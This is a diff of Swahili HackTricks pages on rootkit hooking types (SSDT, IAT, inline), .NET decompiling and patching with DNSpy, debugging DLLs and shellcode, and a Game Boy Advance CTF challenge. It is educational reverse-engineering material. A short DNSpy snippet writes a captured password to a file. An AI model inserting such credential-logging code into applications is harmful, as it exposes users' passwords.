* **SSDT** (**System Service Descriptor Table**) inaelekeza kwa kazi za msingi za kernel (ntoskrnl.exe) au dereva wa GUI (win32k.sys) ili michakato ya mtumiaji iweze kuita kazi hizi.
|
||||
* Rootkit inaweza kurekebisha alama hizi kwa anwani anazodhibiti
|
||||
* Rootkit inaweza kubadilisha pointer hizi kuwa anwani ambazo anadhibiti
|
||||
* **IRP** (**I/O Request Packets**) hupitisha vipande vya data kutoka kwa sehemu moja hadi nyingine. Karibu kila kitu katika kernel hutumia IRPs na kila kifaa kina kichupo chake cha kazi ambacho kinaweza kufungwa: DKOM (Udanganyifu wa Moja kwa Moja wa Vitu vya Kernel)
|
||||
* **IAT** (**Import Address Table**) ni muhimu kwa kutatua mahitaji. Inawezekana kufunga kichupo hiki ili kuteka kificho kitakachoitwa.
|
||||
* **EAT** (**Export Address Table**) Kufunga. Kufunga hii inaweza kufanywa kutoka kwa **userland**. lengo ni kufunga kazi zilizoagizwa na DLLs.
|
||||
* **Kufunga ya Ndani**: Aina hii ni ngumu kufikia. Hii inahusisha kurekebisha msimbo wa kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
|
||||
* **Kufunga ya Ndani**: Aina hii ni ngumu kufikia. Hii inahusisha kubadilisha msimbo wa kazi yenyewe. Labda kwa kuweka kuruka mwanzoni mwa hii.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,28 @@
|
|||
# Vifaa vya Kugeuza & Mbinu za Msingi
|
||||
# Zana za Kugeuza & Mbinu za Msingi
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Vifaa vya Kugeuza vilivyotegemea ImGui
|
||||
## Zana za Kugeuza Zilizotegemea ImGui
|
||||
|
||||
Programu:
|
||||
|
||||
|
@ -47,27 +47,27 @@ Programu:
|
|||
|
||||
dotPeek ni msambazaji ambao **hugawanya na kuchunguza muundo wa multiple**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu za kutekelezwa** (.exe). Mara baada ya kugawanywa, mkusanyiko unaweza kuokolewa kama mradi wa Visual Studio (.csproj).
|
||||
|
||||
Faida hapa ni kwamba ikiwa msimbo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi ya hayo, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogawanywa, ikifanya kuwa moja ya zana kamili kwa **uchambuzi wa algorithm wa Xamarin.**
|
||||
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurejeshwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek hutoa urambazaji wa manufaa kote kwenye msimbo uliogawanywa, ikifanya iwe moja ya zana kamili kwa **uchambuzi wa algorithm wa Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Kwa mfano wa kuongeza wa kina na API ambayo inapanua zana ili kufaa mahitaji yako sahihi, .NET reflector hupunguza muda na kusahilisha maendeleo. Hebu tuangalie huduma nyingi za uhandisi wa nyuma ambazo zana hii hutoa:
|
||||
Kwa mfano wa kuongeza wa kina na API ambayo inapanua zana ili kufaa mahitaji yako halisi, .NET reflector hupunguza muda na kufanya maendeleo kuwa rahisi. Hebu tuangalie huduma nyingi za uhandisi wa nyuma ambazo zana hii hutoa:
|
||||
|
||||
* Hutoa ufahamu jinsi data inavyopita kupitia maktaba au sehemu
|
||||
* Hutoa ufahamu wa utekelezaji na matumizi ya lugha na fremu za .NET
|
||||
* Hutoa ufahamu katika utekelezaji na matumizi ya lugha na fremu za .NET
|
||||
* Hupata utendaji usioelezwa na usiofunuliwa ili kupata zaidi kutoka kwa APIs na teknolojia zilizotumiwa.
|
||||
* Hupata tegemezi na makusanyo tofauti
|
||||
* Inagundua mahali sahihi ya makosa katika msimbo wako, vipengele vya tatu, na maktaba.
|
||||
* Hufanya uchunguzi katika chanzo cha msimbo wote wa .NET unaoendana nao.
|
||||
* Hufanya uchunguzi katika chanzo cha msimbo wote wa .NET unaoendelea kufanya kazi nao.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy programu-jalizi kwa Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo kwenye OS yoyote (unaweza kuweka moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **tafuta ILSpy**).\
|
||||
[ILSpy plugin kwa Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo kwenye OS yoyote (unaweza kuweka moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza **Extensions** na **tafuta ILSpy**).\
|
||||
Ikiwa unahitaji **kugeuza**, **kurekebisha** na **kusambaza** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linalotunzwa kikamilifu la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza Kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
|
||||
|
||||
### Kuingiza DNSpy
|
||||
### Uchakataji wa DNSpy
|
||||
|
||||
Ili kufanya **DNSpy iweke rekodi fulani katika faili**, unaweza kutumia kificho hiki:
|
||||
Ili kufanya **DNSpy iwekeze baadhi ya habari kwenye faili**, unaweza kutumia kificho hiki:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
@ -75,7 +75,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
|
|||
```
|
||||
### Kurekebisha DNSpy
|
||||
|
||||
Ili kurekebisha nambari kwa kutumia DNSpy unahitaji:
|
||||
Ili kurekebisha msimbo kwa kutumia DNSpy unahitaji:
|
||||
|
||||
Kwanza, badilisha **Vipengele vya Utoaji** vinavyohusiana na **urekebishaji**:
|
||||
|
||||
|
@ -104,7 +104,7 @@ Kisha, ikiwa programu yako ya .NET inaendeshwa na **IIS** unaweza kuirekebisha k
|
|||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Kisha, ili kuanza kudebugi unapaswa kufunga faili zote zilizofunguliwa na ndani ya **Tab ya Kudebugi** chagua **Ambatanisha kwa Mchakato...**:
|
||||
Kisha, ili kuanza kurekebisha hitilafu unapaswa kufunga faili zote zilizofunguliwa na ndani ya **Kichupo cha Kurekebisha** chagua **Ambatanisha kwa Mchakato...**:
|
||||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
|
@ -112,7 +112,7 @@ Kisha chagua **w3wp.exe** kuambatisha kwenye **seva ya IIS** na bonyeza **ambata
|
|||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
Sasa tukiwa tunadebugi mchakato, ni wakati wa kuusimamisha na kupakia moduli zote. Kwanza bonyeza _Kudebugi >> Simamisha Yote_ kisha bonyeza _**Kudebugi >> Windows >> Moduli**_:
|
||||
Sasa tukiwa tunarekebisha mchakato, ni wakati wa kuusimamisha na kupakia moduli zote. Kwanza bonyeza _Kurekebisha >> Simamisha Yote_ kisha bonyeza _**Kurekebisha >> Windows >> Moduli**_:
|
||||
|
||||
![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
|
@ -122,7 +122,7 @@ Bonyeza moduli yoyote kwenye **Moduli** na chagua **Fungua Moduli Zote**:
|
|||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
Bonyeza kulia moduli yoyote kwenye **Mtafuta wa Moduli** na bonyeza **Panga Moduli**:
|
||||
Bonyeza kulia moduli yoyote katika **Mtafuta wa Mkusanyiko** na bonyeza **Panga Mkusanyiko**:
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -131,12 +131,12 @@ Bonyeza kulia moduli yoyote kwenye **Mtafuta wa Moduli** na bonyeza **Panga Modu
|
|||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## Kudebugi DLLs
|
||||
## Kurekebisha DLLs
|
||||
|
||||
### Kutumia IDA
|
||||
|
||||
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Chagua kudebugi ya **Windbg**
|
||||
* Chagua kurekebisha **Windbg**
|
||||
* Chagua "**Sitishe wakati wa kupakia/kusitisha maktaba**"
|
||||
|
||||
![](<../../.gitbook/assets/image (135).png>)
|
||||
|
@ -145,7 +145,7 @@ Bonyeza kulia moduli yoyote kwenye **Mtafuta wa Moduli** na bonyeza **Panga Modu
|
|||
|
||||
![](<../../.gitbook/assets/image (136).png>)
|
||||
|
||||
Kisha, unapoanza kudebugi **utekelezaji utasimamishwa wakati kila DLL inapopakiwa**, kisha, wakati rundll32 inapopakia DLL yako utekelezaji utasimamishwa.
|
||||
Kisha, unapoanza kurekebisha **utekelezaji utasimamishwa wakati kila DLL inapopakiwa**, kisha, wakati rundll32 inapopakia DLL yako utekelezaji utasimamishwa.
|
||||
|
||||
Lakini, unawezaje kufikia namna ya kificho cha DLL iliyopakiwa? Kutumia njia hii, sijui jinsi.
|
||||
|
||||
|
@ -154,13 +154,13 @@ Lakini, unawezaje kufikia namna ya kificho cha DLL iliyopakiwa? Kutumia njia hii
|
|||
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Badilisha Mstari wa Amri** ( _Faili --> Badilisha Mstari wa Amri_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Badilisha _Chaguo --> Vipimo_ na chagua "**Kuingia kwa DLL**".
|
||||
* Kisha **anza utekelezaji**, kudebugi itasimama kwa kila kuingia kwa dll, kwa wakati fulani utasimama kwenye kuingia kwa dll yako. Kutoka hapo, tafuta sehemu unayotaka kuweka kiungo cha kusitisha.
|
||||
* Kisha **anza utekelezaji**, mchunguzi atasimama kwa kila dll kuu, kwa wakati fulani utasimama katika kuingia kwa dll yako. Kutoka hapo, tafuta tu sehemu unayotaka kuweka kiungo cha kusitisha.
|
||||
|
||||
Tambua kwamba unapokuwa umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **kificho unachotazama** juu ya dirisha la win64dbg:
|
||||
Tambua kwamba unapokuwa umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **kificho unachotazama** katika **juu ya dirisha la win64dbg**:
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa kwenye dll unayotaka kudebugi.
|
||||
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa katika dll unayotaka kurekebisha.
|
||||
|
||||
## Programu za GUI / Michezo ya Video
|
||||
|
||||
|
@ -176,27 +176,27 @@ Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa kwenye dll
|
|||
|
||||
## Shellcodes
|
||||
|
||||
### Kudebugi shellcode na blobrunner
|
||||
### Kurekebisha shellcode na blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangiwa na itasimamisha utekelezaji.\
|
||||
Kisha, unahitaji **kuambatanisha kudebugi** (Ida au x64dbg) kwa mchakato na weka **kiungo cha kusitisha kwenye anwani ya kumbukumbu iliyotajwa** na **rejesha** utekelezaji. Kwa njia hii utakuwa unadebugi shellcode.
|
||||
Kisha, unahitaji **kuambatanisha mchunguzi** (Ida au x64dbg) kwa mchakato na weka **kiungo cha kusitisha kwenye anwani ya kumbukumbu iliyotajwa** na **endelea** utekelezaji. Hivi ndivyo utakavyokuwa unarekebisha shellcode.
|
||||
|
||||
Ukurasa wa kutolewa wa github una zip zinazoleta kutolewa kwa kuchapishwa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kulipachika tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na ujenge**.
|
||||
Ukurasa wa kutolewa kwenye github una zip zinazojumuisha kutolewa kwa kisasa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kulipakua tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na ulijenge**.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kudebugi shellcode na jmp2it
|
||||
### Kurekebisha shellcode na jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kuambatanisha kudebugi** kwa mchakato, **anza kucheza subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na mwishowe utajikuta unatekeleza shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kuambatanisha mchunguzi** kwa mchakato, **anza kucheza subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
Unaweza kupakua toleo lililobadilishwa la [jmp2it kwenye ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Kudebugi shellcode kwa kutumia Cutter
|
||||
### Kurekebisha shellcode kwa kutumia Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kutumia cutter unaweza kuiga shellcode na kuichunguza kwa njia ya kudumu.
|
||||
|
||||
|
@ -214,10 +214,10 @@ Unaweza kuona stakiti kwa mfano ndani ya dumpu ya hex:
|
|||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
|
||||
### Kufuta kificho cha shellcode na kupata kazi zilizotekelezwa
|
||||
### Kufuta shellcode na kupata kazi zilizotekelezwa
|
||||
|
||||
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichimba yenyewe kwenye kumbukumbu.
|
||||
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichakaza yenyewe kwenye kumbukumbu.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -226,11 +226,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
|||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||
```
|
||||
scDbg pia inaanzisha kielelezo cha picha ambapo unaweza kuchagua chaguo unalotaka na kutekeleza shellcode
|
||||
scDbg pia ina launcher ya kielelezo ambapo unaweza kuchagua chaguo unalotaka na kutekeleza shellcode
|
||||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumika kupakua shellcode iliyofanywa). **Kianzio cha kuanza** kinaweza kuwa muhimu kuanza shellcode kwenye kianzio maalum. Chaguo la **Kianzio cha Kufuatilia** ni muhimu kufuatilia shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
||||
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumika kupakua shellcode iliyofanywa). **Kianzio cha kuanza** kinaweza kuwa muhimu kuanza shellcode kwenye kianzio maalum. Chaguo la **Kianzio cha Kufuatilia** ni muhimu kufuatilia shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa suala hili kwani utaweza kutumia Ida au x64dbg).
|
||||
|
||||
### Kufasiri kwa Kutumia CyberChef
|
||||
|
||||
|
@ -238,12 +238,12 @@ Pakia faili yako ya shellcode kama kuingiza na tumia mapishi yafuatayo kudecompi
|
|||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Obfuscator huyu **hubadilisha maagizo yote kwa `mov`**(ndio, kweli ni mzuri sana). Pia hutumia kuvuruga kubadilisha mifumo ya utekelezaji. Kwa habari zaidi kuhusu jinsi inavyofanya kazi:
|
||||
Obfuscator huyu **hubadilisha maagizo yote kwa `mov`** (ndio, kweli ni nzuri sana). Pia hutumia kuvuruga kubadilisha mifumo ya utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itadefusika binary. Ina tegemezi kadhaa
|
||||
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itaondoa ufusaji wa binary. Ina tegemezi kadhaa
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
|
@ -254,7 +254,7 @@ Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa muhimu sana: [ht
|
|||
|
||||
## Rust
|
||||
|
||||
Ili kupata **sehemu ya kuingia** tafuta kazi kwa `::main` kama hivi:
|
||||
Ili kupata **sehemu ya kuingia**, tafuta kazi kwa `::main` kama hivi:
|
||||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
|
@ -269,7 +269,7 @@ Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie programu-jali
|
|||
|
||||
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
|
||||
|
||||
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya moja kwa moja mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa msimbo halisi.
|
||||
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kudumu mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa nambari halisi.
|
||||
|
||||
Pia ni ya kuvutia sana kwa sababu ikiwa bonyeza kitufe katika programu ya kielelezo cha picha, mchunguzi utasimama kwenye kazi inayotekelezwa na kitufe hicho.
|
||||
|
||||
|
@ -283,7 +283,7 @@ Hii itatatua majina ya kazi.
|
|||
|
||||
## Python iliyokompiliwa
|
||||
|
||||
Kwenye ukurasa huu unaweza kupata jinsi ya kupata msimbo wa python kutoka kwa binary iliyokompiliwa ya ELF/EXE python:
|
||||
Kwenye ukurasa huu unaweza kupata jinsi ya kupata nambari ya python kutoka kwa binary iliyokompiliwa ya ELF/EXE:
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
|
@ -298,7 +298,7 @@ Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti kwa **kui
|
|||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Programu-jalizi ya Ghidra
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Programu-jalizi ya Ghidra
|
||||
|
||||
Kwenye [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguo --> Wekaanishaji wa Kuiga --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza vitufe vya Game Boy Advance
|
||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguo --> Wekaanishaji wa Kuiga --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza vitufe vya Game Boy Advance
|
||||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
|
@ -319,7 +319,7 @@ Kwa hivyo, katika aina hii ya programu, sehemu ya kuvutia itakuwa **jinsi progra
|
|||
|
||||
![](<../../.gitbook/assets/image (579).png>)
|
||||
|
||||
Katika picha iliyopita unaweza kuona kwamba kazi inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
|
||||
Katika picha iliyotangulia unaweza kuona kwamba kazi inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
|
||||
|
||||
Katika kazi hiyo, baada ya operesheni za awali (bila umuhimu wowote):
|
||||
```c
|
||||
|
@ -342,7 +342,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
|||
FUN_08000354(&DAT_030000dc,0x3c);
|
||||
uVar4 = DAT_030004d8;
|
||||
```
|
||||
Imepatikana msimbo huu:
|
||||
Imepatikana hii nambari:
|
||||
```c
|
||||
do {
|
||||
DAT_030004da = uVar4; //This is the last key pressed
|
||||
|
@ -384,13 +384,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
|||
```
|
||||
Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali ambapo **thamani ya kitufe kilichobonyezwa** iko) na baadhi ya thamani:
|
||||
|
||||
* Kwanza, inalinganishwa na **thamani 4** (kitufe cha **SELECT**): Katika changamoto hii kitufe hiki hufuta skrini
|
||||
* Kwanza, inalinganishwa na **thamani 4** (kitufe cha **SELECT**): Katika changamoto hii kitufe hiki husafisha skrini
|
||||
* Kisha, inalinganishwa na **thamani 8** (kitufe cha **START**): Katika changamoto hii inachunguza ikiwa msimbo ni halali kupata bendera.
|
||||
* Katika kesi hii, var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa msimbo fulani unatekelezwa.
|
||||
* Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inachunguzwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia katika msimbo.\
|
||||
Ikiwa ni chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinachofanywa (kimsingi inaongeza thamani za vitufe vilivyobonyezwa katika hii variable muda mrefu kama cont iko chini ya 8).
|
||||
|
||||
Hivyo, katika changamoto hii, kujua thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
|
||||
Hivyo, katika changamoto hii, kwa kujua thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
|
||||
|
||||
**Kumbukumbu kwa mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
@ -405,7 +405,7 @@ Hivyo, katika changamoto hii, kujua thamani za vitufe, ulihitaji **kubonyeza mch
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
